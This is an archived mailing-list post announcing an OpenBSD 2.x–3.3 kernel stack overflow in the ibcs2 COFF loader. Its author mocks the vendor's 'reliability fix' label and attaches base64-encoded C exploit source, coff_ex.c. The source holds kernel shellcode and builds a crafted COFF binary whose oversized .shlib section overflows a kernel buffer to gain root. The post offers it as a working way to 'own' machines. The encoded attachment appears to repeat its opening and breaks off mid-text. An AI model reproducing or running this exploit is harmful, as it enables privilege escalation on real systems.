TUCoPS :: BSD :: bt1995.txt

OpenBSD kernel holes ...


---559023410-851401618-1069180443=:685
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-ID: <Pine.GSO.4.44.0311181334412.824@sodom.uberhax0r.net>


once again i am honored to present you a generic and robust way to own
OpenBSD 2.x-3.x, enjoy ;)

it is quite funny to name ring 0 overflow patches as "reliability fixes".
who does theo thinks he is fooling ? kiddies in his cult ?

you can patch your useless/old openbsd systems by visiting;
http://www.gentoo.org
http://www.grsecurity.net

- noir


from http://www.wideopenbsd.org/errata.html

All architectures

     005: RELIABILITY FIX: November 4, 2003
     It is possible for a local user to cause a system panic by executing
     a specially crafted binary with an invalid header.
     A source code patch exists which remedies the problem.


reliability ??? ehh ;-P yeah yeah right!




---559023410-851401618-1069180443=:685
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="coff_ex.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.GSO.4.44.0311181307291.685@sodom.uberhax0r.net>
Content-Description: 
Content-Disposition: ATTACHMENT; FILENAME="coff_ex.c"

LyoqIE9wZW5CU0QgMi54IC0gMy4zCQkJCQkJICoqLw0KLyoqIGV4ZWNfaWJj

czJfY29mZl9wcmVwX3ptYWdpYygpIGtlcm5lbCBzdGFjayBvdmVyZmxvdwkJ

ICoqLyANCi8qKiBub3RlOiBpYmNzMiBiaW5hcnkgY29tcGF0aWJpbGl0eSB3

aXRoIFNDTyBhbmQgSVNDIGlzIGVuYWJsZWQgKiovDQovKiogaW4gdGhlIGRl

ZmF1bHQgaW5zdGFsbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg

ICAgICAgICoqLw0KDQovKiogCUNvcHlyaWdodCBGZWIgMjYgMjAwMyBTaW5h

biAibm9pciIgRXJlbiAJCSAqKi8gDQovKioJbm9pckBvbHltcG9zLm9yZyB8

IG5vaXJAdWJlcmhheDByLm5ldAkJCSAqKi8NCg0KLyoqCWdyZWV0cyB0byBi

cm90aGVyIG5haHVhbCBmb3IgbWFraW5nIHRoaXMgdXNlZnVsbCEJICoqLyAN

Cg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+

DQojaW5jbHVkZSA8ZmNudGwuaD4NCiNpbmNsdWRlIDx1bmlzdGQuaD4NCiNp

bmNsdWRlIDxzeXMvcGFyYW0uaD4NCiNpbmNsdWRlIDxzeXMvc3lzY3RsLmg+

DQojaW5jbHVkZSA8c3lzL3NpZ25hbC5oPg0KDQovLyNpbmNsdWRlICJpYmNz

Ml9leGVjLmgiDQoNCi8qIGtlcm5lbF9zYy5zIHNoZWxsY29kZSAqLw0KLyog

bXVjaCBpbXByb3ZlZCB0aGUgb3Bjb2RlIHNlYXJjaCwgZml4ZWQgdGhlIHN0

dXBpZCBsb2dpYyBidWchICovDQoNCnVuc2lnbmVkIGNoYXIgc2hlbGxjb2Rl

W10gPQ0KIlx4ZThceDBmXHgwMFx4MDBceDAwXHg3OFx4NTZceDM0XHgxMlx4

ZmVceGNhXHhhZFx4ZGVceGFkXHhkZVx4ZWZceGJlIg0KIlx4OTBceDkwXHg5

MFx4NWZceDhiXHgwZlx4OGJceDU5XHgxMFx4MzFceGMwXHg4OVx4NDNceDA0

XHg4Ylx4MTNceDg5Ig0KIlx4NDJceDA0XHg4Ylx4NTFceDE0XHg4OVx4NDJc

eDBjXHg4ZFx4NmNceDI0XHg2OFx4MGZceDAxXHg0Zlx4MDRceDhiIg0KIlx4

NWZceDA2XHg4Ylx4OTNceDAwXHgwNFx4MDBceDAwXHg4Ylx4OGJceDA0XHgw

NFx4MDBceDAwXHhjMVx4ZTlceDEwIg0KIlx4YzFceGUxXHgxMFx4YzFceGUy

XHgxMFx4YzFceGVhXHgxMFx4MDlceGNhXHgzMVx4YzlceDQxXHg4YVx4MWNc

eDBhIg0KIlx4ODBceGZiXHhlOFx4NzVceGY3XHg4ZFx4MWNceDBhXHg0MVx4

OGJceDBjXHgwYVx4ODNceGMxXHgwNVx4MDFceGQ5Ig0KIlx4ODlceGNmXHhi

MFx4ZmZceGZjXHhiOVx4ZmZceGZmXHhmZlx4ZmZceGYyXHhhZVx4OGFceDFm

XHg4MFx4ZmJceGQwIg0KIlx4NzVceGVmXHg0N1x4MzFceGMwXHg1N1x4YzMi

Ow0KDQovKiBkbyBub3QgdXNlISAqLw0KLyogDQpzaWx2aW8gZ290dGEgZ2V0

IGhpcyBicmFpbiB0b2dldGhlciBhbmQgdW5kZXJzdGFuZCB3aHkgc29tZXRp

bWVzDQp5b3UgbmVlZCB0byByZXR1cm4gdG8ga2VybmVsIGNvZGUgcmF0aGVy

IHRoYW4gc2V0dGluZyB0aGUgc2VsZWN0b3JzDQpwdXNoaW5nIHNzLGVzcCxl

ZmxhZyxjcyxlaXAgYW5kIGRvIGFuIGlyZXQhIA0KDQp3ZWxsLCBhbG9oYT8/

IHZub2RlIGxvY2tzIGJlaW5nIGhlbGQgPyBtdXRleCBsb2NrcyBiZWluZyBo

ZWxkID8gDQp5b3UgaGF2ZSB0byByZXR1cm4gdG8gdGhlIGtlcm5lbCBjb2Rl

IHRoYXQgdW5sb2NrcyB0aGUgc3luY3Jvbml6YXRpb24NCm9iamVjdHMNCg0K

Ki8NCg0KdW5zaWduZWQgY2hhciBpcmV0X3NoZWxsY29kZVtdID0NCiJceGU4

XHgwZlx4MDBceDAwXHgwMFx4NzhceDU2XHgzNFx4MTJceGZlXHhjYVx4YWRc

eGRlXHhhZFx4ZGVceGVmXHhiZSINCiJceDkwXHg5MFx4OTBceDVmXHg4Ylx4

MGZceDhiXHg1OVx4MTBceDMxXHhjMFx4ODlceDQzXHgwNFx4OGJceDEzXHg4

OSINCiJceDQyXHgwNFx4OGJceDUxXHgxNFx4ODlceDQyXHgwY1x4ZmFceDZh

XHgxZlx4MDdceDZhXHgxZlx4MWZceDZhXHgwMCINCiJceDVmXHg2YVx4MDBc

eDVlXHg2OFx4MDBceGQwXHhiZlx4ZGZceDVkXHg2YVx4MDBceDViXHg2YVx4

MDBceDVhXHg2YSINCiJceDAwXHg1OVx4NmFceDAwXHg1OFx4NmFceDFmXHg2

OFx4MDBceGQwXHhiZlx4ZGZceDY4XHg4N1x4MDJceDAwXHgwMCINCiJceDZh

XHgxNyI7DQoNCnVuc2lnbmVkIGNoYXIgcHVzaGVpcFtdID0NCiJceDY4XHgw

MFx4MDBceDAwXHgwMCI7IC8qIGZpbGwgZWlwICovDQoNCnVuc2lnbmVkIGNo

YXIgaXJldFtdID0NCiJceGNmIjsNCg0KdW5zaWduZWQgY2hhciBleGl0c2hb

XSA9DQoiXHgzMVx4YzBceGNkXHg4MFx4Y2MiOyAvKiB4b3JsICVlYXgsJWVh

eCwgaW50ICQweDgwLCBpbnQzICovDQoNCg0KI2RlZmluZSBaRVJPKHApIG1l

bXNldCgmcCwgMHgwMCwgc2l6ZW9mKHApKQ0KDQovKg0KICogQ09GRiBmaWxl

IGhlYWRlcg0KICovDQoNCnN0cnVjdCBjb2ZmX2ZpbGVoZHIgew0KICAgIHVf

c2hvcnQgICAgIGZfbWFnaWM7ICAgICAgICAvKiBtYWdpYyBudW1iZXIgKi8N

CiAgICB1X3Nob3J0ICAgICBmX25zY25zOyAgICAgICAgLyogIyBvZiBzZWN0

aW9ucyAqLw0KICAgIGxvbmcgICAgICAgIGZfdGltZGF0OyAgICAgICAvKiB0

aW1lc3RhbXAgKi8NCiAgICBsb25nICAgICAgICBmX3N5bXB0cjsgICAgICAg

LyogZmlsZSBvZmZzZXQgb2Ygc3ltYm9sIHRhYmxlICovDQogICAgbG9uZyAg

ICAgICAgZl9uc3ltczsgICAgICAgIC8qICMgb2Ygc3ltYm9sIHRhYmxlIGVu

dHJpZXMgKi8NCiAgICB1X3Nob3J0ICAgICBmX29wdGhkcjsgICAgICAgLyog

c2l6ZSBvZiBvcHRpb25hbCBoZWFkZXIgKi8NCiAgICB1X3Nob3J0ICAgICBm

X2ZsYWdzOyAgICAgICAgLyogZmxhZ3MgKi8NCn07DQoNCi8qIGZfbWFnaWMg

ZmxhZ3MgKi8NCiNkZWZpbmUgQ09GRl9NQUdJQ19JMzg2IDB4MTRjDQoNCi8q

IGZfZmxhZ3MgKi8NCiNkZWZpbmUgQ09GRl9GX1JFTEZMRyAgIDB4MQ0KI2Rl

ZmluZSBDT0ZGX0ZfRVhFQyAgICAgMHgyDQojZGVmaW5lIENPRkZfRl9MTk5P

ICAgICAweDQNCiNkZWZpbmUgQ09GRl9GX0xTWU1TICAgIDB4OA0KI2RlZmlu

ZSBDT0ZGX0ZfU1dBQkQgICAgMHg0MA0KI2RlZmluZSBDT0ZGX0ZfQVIxNldS

ICAgMHg4MA0KI2RlZmluZSBDT0ZGX0ZfQVIzMldSICAgMHgxMDANCg0KLyoN

CiAqIENPRkYgc3lzdGVtIGhlYWRlcg0KICovDQoNCnN0cnVjdCBjb2ZmX2Fv

dXRoZHIgew0KICAgIHNob3J0ICAgICAgIGFfbWFnaWM7DQogICAgc2hvcnQg

ICAgICAgYV92c3RhbXA7DQogICAgbG9uZyAgICAgICAgYV90c2l6ZTsNCiAg

ICBsb25nICAgICAgICBhX2RzaXplOw0KICAgIGxvbmcgICAgICAgIGFfYnNp

emU7DQogICAgbG9uZyAgICAgICAgYV9lbnRyeTsNCiAgICBsb25nICAgICAg

ICBhX3RzdGFydDsNCiAgICBsb25nICAgICAgICBhX2RzdGFydDsNCn07DQoN

Ci8qIG1hZ2ljICovDQojZGVmaW5lIENPRkZfWk1BR0lDICAgICAwNDEzDQoN

Ci8qDQogKiBDT0ZGIHNlY3Rpb24gaGVhZGVyDQogKi8NCg0Kc3RydWN0IGNv

ZmZfc2NuaGRyIHsNCiAgICBjaGFyICAgICAgICBzX25hbWVbOF07DQogICAg

bG9uZyAgICAgICAgc19wYWRkcjsNCiAgICBsb25nICAgICAgICBzX3ZhZGRy

Ow0KICAgIGxvbmcgICAgICAgIHNfc2l6ZTsNCiAgICBsb25nICAgICAgICBz

X3NjbnB0cjsNCiAgICBsb25nICAgICAgICBzX3JlbHB0cjsNCiAgICBsb25n

ICAgICAgICBzX2xubm9wdHI7DQogICAgdV9zaG9ydCAgICAgc19ucmVsb2M7

DQogICAgdV9zaG9ydCAgICAgc19ubG5ubzsNCiAgICBsb25nICAgICAgICBz

X2ZsYWdzOw0KfTsNCg0KLyogc19mbGFncyAqLw0KI2RlZmluZSBDT0ZGX1NU

WVBfVEVYVCAgICAgICAgICAweDIwDQojZGVmaW5lIENPRkZfU1RZUF9EQVRB

ICAgICAgICAgIDB4NDANCiNkZWZpbmUgQ09GRl9TVFlQX1NITElCICAgICAg

ICAgMHg4MDANCg0KDQp2b2lkIGdldF9wcm9jKHBpZF90LCBzdHJ1Y3Qga2lu

Zm9fcHJvYyAqKTsNCnZvaWQgc2lnX2hhbmRsZXIoKTsNCg0KaW50DQptYWlu

KGludCBhcmdjLCBjaGFyICoqYXJndikNCnsNCiAgdV9pbnQgaSwgZmQsIGRl

YnVnID0gMDsNCiAgdV9jaGFyICpwdHIsICpzaHB0cjsNCiAgdV9sb25nICps

cHRyOw0KICB1X2xvbmcgcHByb2NhZHIsIG9mZnNldDsNCiAgc3RydWN0IGtp

bmZvX3Byb2Mga3A7DQogIGNoYXIgKmFyZ3NbXSA9IHsgIi4vaWJjczJvd24i

LCBOVUxMfTsNCiAgY2hhciAqZW52c1tdID0geyAiUklQPXRoZW8iLCBOVUxM

fTsNCiAgLy9DT0ZGIHN0cnVjdHVyZXMNCiAgc3RydWN0IGNvZmZfZmlsZWhk

ciBmaGRyOw0KICBzdHJ1Y3QgY29mZl9hb3V0aGRyIGFoZHI7DQogIHN0cnVj

dCBjb2ZmX3NjbmhkciAgc2NuMCwgc2NuMSwgc2NuMjsNCg0KICAgaWYoYXJn

dlsxXSkgew0KICAgICAgaWYoIXN0cm5jbXAoYXJndlsxXSwgIi12IiwgMikp

IA0KICAgICAgICAgICAgICBkZWJ1ZyA9IDE7DQogICAgICBlbHNlIHsgDQoJ

ICAgICAgcHJpbnRmKCItdjogdmVyYm9zZSBmbGFnIG9ubHlcbiIpOw0KCSAg

ICAgIGV4aXQoMCk7DQogICAgICAgICAgICB9DQogICAgfQ0KIA0KICAgIFpF

Uk8oZmhkcik7DQogICAgZmhkci5mX21hZ2ljID0gQ09GRl9NQUdJQ19JMzg2

Ow0KICAgIGZoZHIuZl9uc2NucyA9IDM7IC8vVEVYVCwgREFUQSwgU0hMSUIN

CiAgICBmaGRyLmZfdGltZGF0ID0gMHhkZWFkYmVlZjsNCiAgICBmaGRyLmZf

c3ltcHRyID0gMHg0MDAwOw0KICAgIGZoZHIuZl9uc3ltcyA9IDE7DQogICAg

Zmhkci5mX29wdGhkciA9IHNpemVvZihhaGRyKTsgLy9BT1VUIG9wdCBoZWFk

ZXIgc2l6ZQ0KICAgIGZoZHIuZl9mbGFncyA9IENPRkZfRl9FWEVDOw0KDQog

ICAgWkVSTyhhaGRyKTsNCiAgICBhaGRyLmFfbWFnaWMgPSBDT0ZGX1pNQUdJ

QzsNCiAgICBhaGRyLmFfdHNpemUgPSAwOw0KICAgIGFoZHIuYV9kc2l6ZSA9

IDA7IA0KICAgIGFoZHIuYV9ic2l6ZSA9IDA7DQogICAgYWhkci5hX2VudHJ5

ID0gMHgxMDAwMDsNCiAgICBhaGRyLmFfdHN0YXJ0ID0gMDsNCiAgICBhaGRy

LmFfZHN0YXJ0ID0gMDsNCiAgIA0KICAgIFpFUk8oc2NuMCk7DQogICAgbWVt

Y3B5KCZzY24wLnNfbmFtZSwgIi50ZXh0IiwgNSk7DQogICAgc2NuMC5zX3Bh

ZGRyID0gMHgxMDAwMDsNCiAgICBzY24wLnNfdmFkZHIgPSAweDEwMDAwOw0K

ICAgIHNjbjAuc19zaXplID0gNDA5NjsNCiAgICBzY24wLnNfc2NucHRyID0g

c2l6ZW9mKGZoZHIpICsgc2l6ZW9mKGFoZHIpICsgKHNpemVvZihzY24wKSoz

KTsgDQogICAgLy9maWxlIG9mZnNldCBvZiAudGV4dCBzZWdtZW50DQogICAg

c2NuMC5zX3JlbHB0ciA9IDA7DQogICAgc2NuMC5zX2xubm9wdHIgPSAwOw0K

ICAgIHNjbjAuc19ucmVsb2MgPSAwOw0KICAgIHNjbjAuc19ubG5ubyA9IDA7

DQogICAgc2NuMC5zX2ZsYWdzID0gQ09GRl9TVFlQX1RFWFQ7DQoNCiAgICBa

RVJPKHNjbjEpOw0KICAgIG1lbWNweSgmc2NuMS5zX25hbWUsICIuZGF0YSIs

IDUpOw0KICAgIHNjbjEuc19wYWRkciA9IDB4MTAwMDAgLSA0MDk2Ow0KICAg

IHNjbjEuc192YWRkciA9IDB4MTAwMDAgLSA0MDk2Ow0KICAgIHNjbjEuc19z

aXplID0gNDA5NjsNCiAgICBzY24xLnNfc2NucHRyID0gc2l6ZW9mKGZoZHIp

ICsgc2l6ZW9mKGFoZHIpICsgKHNpemVvZihzY24wKSozKSArIDQwOTY7IA0K

ICAgIC8vZmlsZSBvZmZzZXQgb2YgLmRhdGEgc2VnbWVudA0KICAgIHNjbjEu

c19yZWxwdHIgPSAwOw0KICAgIHNjbjEuc19sbm5vcHRyID0gMDsNCiAgICBz

Y24xLnNfbnJlbG9jID0gMDsNCiAgICBzY24xLnNfbmxubm8gPSAwOw0KICAg

IHNjbjEuc19mbGFncyA9IENPRkZfU1RZUF9EQVRBOw0KDQogICAgWkVSTyhz

Y24yKTsNCiAgICBtZW1jcHkoJnNjbjIuc19uYW1lLCAiLnNobGliIiwgNik7

DQogICAgc2NuMi5zX3BhZGRyID0gMDsNCiAgICBzY24yLnNfdmFkZHIgPSAw

Ow0KICAgIHNjbjIuc19zaXplID0gMHhiMDsgLy9IRVJFIElTIERBIE9WRiEh

ISBzdGF0aWNfYnVmZmVyID0gMTI4DQogICAgc2NuMi5zX3NjbnB0ciA9IHNp

emVvZihmaGRyKSArIHNpemVvZihhaGRyKSArIChzaXplb2Yoc2NuMCkqMykg

KyAyKjQwOTY7IA0KICAgIC8vZmlsZSBvZmZzZXQgb2YgLmRhdGEgc2VnbWVu

dA0KICAgIHNjbjIuc19yZWxwdHIgPSAwOw0KICAgIHNjbjIuc19sbm5vcHRy

ID0gMDsNCiAgICBzY24yLnNfbnJlbG9jID0gMDsNCiAgICBzY24yLnNfbmxu

bm8gPSAwOw0KICAgIHNjbjIuc19mbGFncyA9IENPRkZfU1RZUF9TSExJQjsN

Cg0KICAgIG9mZnNldCA9IHNpemVvZihmaGRyKSArIHNpemVvZihhaGRyKSAr

IChzaXplb2Yoc2NuMCkqMykgKyAzKjQwOTY7DQogICAgcHRyID0gKGNoYXIg

KikgbWFsbG9jKG9mZnNldCk7DQogICAgaWYoIXB0cikgeyANCgkJcGVycm9y

KCJtYWxsb2MiKTsNCgkJZXhpdCgtMSk7DQogICAgfQ0KDQogICAgbWVtc2V0

KHB0ciwgMHhjYywgb2Zmc2V0KTsgIC8qIGZpbGwgaW50MyAqLw0KDQogICAg

LyogY29weSBzZWN0aW9ucyAqLw0KICAgIG9mZnNldCA9IDA7DQogICAgbWVt

Y3B5KHB0ciwgKGNoYXIgKikgJmZoZHIsIHNpemVvZihmaGRyKSk7DQogICAg

b2Zmc2V0ICs9IHNpemVvZihmaGRyKTsNCg0KICAgIG1lbWNweShwdHIrb2Zm

c2V0LCAoY2hhciAqKSAmYWhkciwgc2l6ZW9mKGFoZHIpKTsgDQogICAgb2Zm

c2V0ICs9IHNpemVvZihhaGRyKTsNCgkNCiAgICBtZW1jcHkocHRyK29mZnNl

dCwgKGNoYXIgKikgJnNjbjAsIHNpemVvZihzY24wKSk7DQogICAgb2Zmc2V0

ICs9IHNpemVvZihzY24wKTsNCg0KICAgIG1lbWNweShwdHIrb2Zmc2V0LCAm

c2NuMSwgc2l6ZW9mKHNjbjEpKTsNCiAgICBvZmZzZXQgKz0gc2l6ZW9mKHNj

bjEpOw0KDQogICAgbWVtY3B5KHB0citvZmZzZXQsIChjaGFyICopICZzY24y

LCBzaXplb2Yoc2NuMikpOw0KICAgIG9mZnNldCArPSBzaXplb2Yoc2NuMik7

DQoNCiAgICBscHRyID0gKHVfbG9uZyAqKSAoKGNoYXIgKilwdHIgKyBzaXpl

b2YoZmhkcikgKyBzaXplb2YoYWhkcikgKyBcDQogICAgICAgICAgIChzaXpl

b2Yoc2NuMCkgKiAzKSArIDQwOTYgKyA0MDk2ICsgMHhiMCAtIDgpOw0KDQog

ICAgc2hwdHIgPSAoY2hhciAqKSBtYWxsb2MoNDA5Nik7DQogICAgaWYoIXNo

cHRyKSB7DQoJCXBlcnJvcigibWFsbG9jIik7DQoJCWV4aXQoLTEpOw0KICAg

IH0NCiAgICBpZihkZWJ1ZykNCiAgICAgIHByaW50ZigicGF5bG9hZCBhZHI6

IDB4JS44eFx0Iiwgc2hwdHIpOw0KDQogICAgbWVtc2V0KHNocHRyLCAweGNj

LCA0MDk2KTsNCg0KICAgIGdldF9wcm9jKChwaWRfdCkgZ2V0cHBpZCgpLCAm

a3ApOw0KICAgIHBwcm9jYWRyID0gKHVfbG9uZykga3Aua3BfZXByb2MuZV9w

YWRkcjsNCiAgICBpZihkZWJ1ZykNCiAgICAgIHByaW50ZigicGFyZW50IHBy

b2MgYWRyOiAweCUuOHhcbiIsIHBwcm9jYWRyKTsgDQoNCiAgICAqbHB0cisr

ID0gMHhkZWFkYmVlZjsNCiAgICAqbHB0ciA9ICh1X2xvbmcpIHNocHRyOw0K

DQogICAgc2hlbGxjb2RlWzVdID0gcHByb2NhZHIgJiAweGZmOw0KICAgIHNo

ZWxsY29kZVs2XSA9IChwcHJvY2FkciA+PiA4KSAmIDB4ZmY7DQogICAgc2hl

bGxjb2RlWzddID0gKHBwcm9jYWRyID4+IDE2KSAmIDB4ZmY7DQogICAgc2hl

bGxjb2RlWzhdID0gKHBwcm9jYWRyID4+IDI0KSAmIDB4ZmY7DQoNCiAgICBt

ZW1jcHkoc2hwdHIsIHNoZWxsY29kZSwgc2l6ZW9mKHNoZWxsY29kZSktMSk7

DQoNCiAgICB1bmxpbmsoIi4vaWJjczJvd24iKTsNCiAgICBpZigoZmQgPSBv

cGVuKCIuL2liY3Myb3duIiwgT19DUkVBVF5PX1JEV1IsIDA3NTUpKSA8IDAp

IHsNCgkJcGVycm9yKCJvcGVuIik7DQoJCWV4aXQoLTEpOw0KCX0NCg0KICAg

IHdyaXRlKGZkLCBwdHIsIHNpemVvZihmaGRyKSArIHNpemVvZihhaGRyKSAr

IChzaXplb2Yoc2NuMCkgKiAzKSArIDQwOTYgKyA0MDk2ICsgNDA5Nik7DQog

ICAgY2xvc2UoZmQpOw0KICAgIGZyZWUocHRyKTsNCg0KICAgIHNpZ25hbChT

SUdTRUdWLCAodm9pZCAoKikoKSlzaWdfaGFuZGxlcik7DQogICAgc2lnbmFs

KFNJR0lMTCwgKHZvaWQgKCopKCkpc2lnX2hhbmRsZXIpOw0KICAgIHNpZ25h

bChTSUdTWVMsICh2b2lkICgqKSgpKXNpZ19oYW5kbGVyKTsNCiAgICBzaWdu

YWwoU0lHQlVTLCAodm9pZCAoKikoKSlzaWdfaGFuZGxlcik7DQogICAgc2ln

bmFsKFNJR0FCUlQsICh2b2lkICgqKSgpKXNpZ19oYW5kbGVyKTsNCiAgICBz

aWduYWwoU0lHVFJBUCwgKHZvaWQgKCopKCkpc2lnX2hhbmRsZXIpOw0KDQog

ICAgcHJpbnRmKCJcbkRPIE5PVCBGT1JHRVQgVE8gU0hSRUQgLi9pYmNzMm93

blxuIik7DQogICAgZXhlY3ZlKGFyZ3NbMF0sIGFyZ3MsIGVudnMpOw0KICAg

IHBlcnJvcigiZXhlY3ZlIik7DQp9DQoNCnZvaWQNCnNpZ19oYW5kbGVyKCkN

CnsNCiAgIF9leGl0KDApOw0KfQ0KDQp2b2lkDQpnZXRfcHJvYyhwaWRfdCBw

aWQsIHN0cnVjdCBraW5mb19wcm9jICprcCkNCnsNCiAgIHVfaW50IGFycls0

XSwgbGVuOw0KDQogICAgICAgIGFyclswXSA9IENUTF9LRVJOOw0KICAgICAg

ICBhcnJbMV0gPSBLRVJOX1BST0M7DQogICAgICAgIGFyclsyXSA9IEtFUk5f

UFJPQ19QSUQ7DQogICAgICAgIGFyclszXSA9IHBpZDsNCiAgICAgICAgbGVu

ID0gc2l6ZW9mKHN0cnVjdCBraW5mb19wcm9jKTsNCiAgICAgICAgaWYoc3lz

Y3RsKGFyciwgNCwga3AsICZsZW4sIE5VTEwsIDApIDwgMCkgew0KICAgICAg

ICAgICAgICAgIHBlcnJvcigic3lzY3RsIik7DQogICAgICAgICAgICAgICAg

ZnByaW50ZihzdGRlcnIsICJ0aGlzIGlzIGFuIHVuZXhwZWN0ZWQgZXJyb3Is

IHJlcnVuIVxuIik7DQogICAgICAgICAgICAgICAgZXhpdCgtMSk7DQogICAg

ICAgIH0NCg0KfQ0KDQovKiogT3BlbkJTRCAyLnggLSAzLjMJCQkJCQkgKiov

DQovKiogZXhlY19pYmNzMl9jb2ZmX3ByZXBfem1hZ2ljKCkga2VybmVsIHN0

YWNrIG92ZXJmbG93CQkgKiovIA0KLyoqIG5vdGU6IGliY3MyIGJpbmFyeSBj

b21wYXRpYmlsaXR5IHdpdGggU0NPIGFuZCBJU0MgaXMgZW5hYmxlZCAqKi8N

Ci8qKiBpbiB0aGUgZGVmYXVsdCBpbnN0YWxsICAgICAgICAgICAgICAgICAg

ICAgICAgICAgICAgICAgICAgICAgKiovDQoNCi8qKiAJQ29weXJpZ2h0IEZl

YiAyNiAyMDAzIFNpbmFuICJub2lyIiBFcmVuIAkJICoqLyANCi8qKglub2ly

QG9seW1wb3Mub3JnIHwgbm9pckB1YmVyaGF4MHIubmV0CQkJICoqLw0KDQov

KioJZ3JlZXRzIHRvIGJyb3RoZXIgbmFodWFsIGZvciBtYWtpbmcgdGhpcyB1

c2VmdWxsIQkgKiovIA0KDQojaW5jbHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRl

IDxzeXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxmY250bC5oPg0KI2luY2x1ZGUg

PHVuaXN0ZC5oPg0KI2luY2x1ZGUgPHN5cy9wYXJhbS5oPg0KI2luY2x1ZGUg

PHN5cy9zeXNjdGwuaD4NCiNpbmNsdWRlIDxzeXMvc2lnbmFsLmg+DQoNCi8v

I2luY2x1ZGUgImliY3MyX2V4ZWMuaCINCg0KLyoga2VybmVsX3NjLnMgc2hl

bGxjb2RlICovDQovKiBtdWNoIGltcHJvdmVkIHRoZSBvcGNvZGUgc2VhcmNo

LCBmaXhlZCB0aGUgc3R1cGlkIGxvZ2ljIGJ1ZyEgKi8NCg0KdW5zaWduZWQg

Y2hhciBzaGVsbGNvZGVbXSA9DQoiXHhlOFx4MGZceDAwXHgwMFx4MDBceDc4

XHg1Nlx4MzRceDEyXHhmZVx4Y2FceGFkXHhkZVx4YWRceGRlXHhlZlx4YmUi

DQoiXHg5MFx4OTBceDkwXHg1Zlx4OGJceDBmXHg4Ylx4NTlceDEwXHgzMVx4

YzBceDg5XHg0M1x4MDRceDhiXHgxM1x4ODkiDQoiXHg0Mlx4MDRceDhiXHg1

MVx4MTRceDg5XHg0Mlx4MGNceDhkXHg2Y1x4MjRceDY4XHgwZlx4MDFceDRm

XHgwNFx4OGIiDQoiXHg1Zlx4MDZceDhiXHg5M1x4MDBceDA0XHgwMFx4MDBc

eDhiXHg4Ylx4MDRceDA0XHgwMFx4MDBceGMxXHhlOVx4MTAiDQoiXHhjMVx4

ZTFceDEwXHhjMVx4ZTJceDEwXHhjMVx4ZWFceDEwXHgwOVx4Y2FceDMxXHhj

OVx4NDFceDhhXHgxY1x4MGEiDQoiXHg4MFx4ZmJceGU4XHg3NVx4ZjdceDhk

XHgxY1x4MGFceDQxXHg4Ylx4MGNceDBhXHg4M1x4YzFceDA1XHgwMVx4ZDki

DQoiXHg4OVx4Y2ZceGIwXHhmZlx4ZmNceGI5XHhmZlx4ZmZceGZmXHhmZlx4

ZjJceGFlXHg4YVx4MWZceDgwXHhmYlx4ZDAiDQoiXHg3NVx4ZWZceDQ3XHgz

MVx4YzBceDU3XHhjMyI7DQoNCi8qIGRvIG5vdCB1c2UhICovDQovKiANCnNp

bHZpbyBnb3R0YSBnZXQgaGlzIGJyYWluIHRvZ2V0aGVyIGFuZCB1bmRlcnN0

YW5kIHdoeSBzb21ldGltZXMNCnlvdSBuZWVkIHRvIHJldHVybiB0byBrZXJu

ZWwgY29kZSByYXRoZXIgdGhhbiBzZXR0aW5nIHRoZSBzZWxlY3RvcnMNCnB1

c2hpbmcgc3MsZXNwLGVmbGFnLGNzLGVpcCBhbmQgZG8gYW4gaXJldCEgDQoN

CndlbGwsIGFsb2hhPz8gdm5vZGUgbG9ja3MgYmVpbmcgaGVsZCA/IG11dGV4

IGxvY2tzIGJlaW5nIGhlbGQgPyANCnlvdSBoYXZlIHRvIHJldHVybiB0byB0

aGUga2VybmVsIGNvZGUgdGhhdCB1bmxvY2tzIHRoZSBzeW5jcm9uaXphdGlv

bg0Kb2JqZWN0cw0KDQoqLw0KDQp1bnNpZ25lZCBjaGFyIGlyZXRfc2hlbGxj

b2RlW10gPQ0KIlx4ZThceDBmXHgwMFx4MDBceDAwXHg3OFx4NTZceDM0XHgx

Mlx4ZmVceGNhXHhhZFx4ZGVceGFkXHhkZVx4ZWZceGJlIg0KIlx4OTBceDkw

XHg5MFx4NWZceDhiXHgwZlx4OGJceDU5XHgxMFx4MzFceGMwXHg4OVx4NDNc

eDA0XHg4Ylx4MTNceDg5Ig0KIlx4NDJceDA0XHg4Ylx4NTFceDE0XHg4OVx4

NDJceDBjXHhmYVx4NmFceDFmXHgwN1x4NmFceDFmXHgxZlx4NmFceDAwIg0K

Ilx4NWZceDZhXHgwMFx4NWVceDY4XHgwMFx4ZDBceGJmXHhkZlx4NWRceDZh

XHgwMFx4NWJceDZhXHgwMFx4NWFceDZhIg0KIlx4MDBceDU5XHg2YVx4MDBc

eDU4XHg2YVx4MWZceDY4XHgwMFx4ZDBceGJmXHhkZlx4NjhceDg3XHgwMlx4

MDBceDAwIg0KIlx4NmFceDE3IjsNCg0KdW5zaWduZWQgY2hhciBwdXNoZWlw

W10gPQ0KIlx4NjhceDAwXHgwMFx4MDBceDAwIjsgLyogZmlsbCBlaXAgKi8N

Cg0KdW5zaWduZWQgY2hhciBpcmV0W10gPQ0KIlx4Y2YiOw0KDQp1bnNpZ25l

ZCBjaGFyIGV4aXRzaFtdID0NCiJceDMxXHhjMFx4Y2RceDgwXHhjYyI7IC8q

IHhvcmwgJWVheCwlZWF4LCBpbnQgJDB4ODAsIGludDMgKi8NCg0KDQojZGVm

aW5lIFpFUk8ocCkgbWVtc2V0KCZwLCAweDAwLCBzaXplb2YocCkpDQoNCi8q

DQogKiBDT0ZGIGZpbGUgaGVhZGVyDQogKi8NCg0Kc3RydWN0IGNvZmZfZmls

ZWhkciB7DQogICAgdV9zaG9ydCAgICAgZl9tYWdpYzsgICAgICAgIC8qIG1h

Z2ljIG51bWJlciAqLw0KICAgIHVfc2hvcnQgICAgIGZfbnNjbnM7ICAgICAg

ICAvKiAjIG9mIHNlY3Rpb25zICovDQogICAgbG9uZyAgICAgICAgZl90aW1k

YXQ7ICAgICAgIC8qIHRpbWVzdGFtcCAqLw0KICAgIGxvbmcgICAgICAgIGZf

c3ltcHRyOyAgICAgICAvKiBmaWxlIG9mZnNldCBvZiBzeW1ib2wgdGFibGUg

Ki8NCiAgICBsb25nICAgICAgICBmX25zeW1zOyAgICAgICAgLyogIyBvZiBz

